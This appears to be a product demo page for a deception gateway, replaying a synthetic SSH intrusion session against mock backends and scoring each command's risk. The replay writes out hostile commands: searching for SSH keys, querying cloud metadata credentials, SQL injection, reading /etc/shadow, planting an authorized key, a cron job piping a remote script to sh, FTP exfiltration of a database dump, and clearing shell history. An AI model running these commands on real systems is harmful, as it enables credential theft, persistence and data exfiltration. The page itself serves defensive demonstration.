Whattheoperatorsees.
Five sessions against a synthetic environment. The event shapes, the scoring rule and the conversion sequence are the real ones. The traffic is written. Pick a session on the left; the story, the replay and the environment all read from the same event log.
2 deception1 suspicious2 normal
Mock data. These recorded sessions are synthetic and the addresses come from the RFC 5737 documentation ranges. The live gateway plays on the homepage, in “Watch it happen”.sess_7f3a91
Converted in place. Synthetic backends, no route out.
sx-7f3a91SSH · 198.51.100.72NL · Amsterdam257s · peak 100
t+257s / 257sDECEPTION
L5 · live sessionSSH ACTIVE
152s$find /home -name 'id_*' -o -name '*.pem'+10
166s$curl -s 169.254.169.254/latest/meta-data/iam/+23
178s$curl 'api.internal/report?id=1%20OR%201=1--'+14
189s$cat /etc/shadow+11
201s$mysql -h db.internal -e 'select * from customers'+9
214s$echo 'ssh-rsa AAAA...' >> ~/.ssh/authorized_keys+12
228s$(crontab -l; echo '*/5 * * * * curl -s x.sh|sh') | crontab -+11
243s$curl -T /tmp/dump.sql ftp://185.x.x.x/+22
257s$history -c && rm ~/.bash_history+9
L2 · session risk100
0T = 70100
L4 · reachable backendsdeception_net
db.internalSynthetic MySQL
redis.internalSynthetic Redis
api.internalSynthetic REST API
169.254.169.254Synthetic metadata
route outNone
SSH session unbrokensx-7f3a91 · same instance since t+000sDECEPTION at t+257s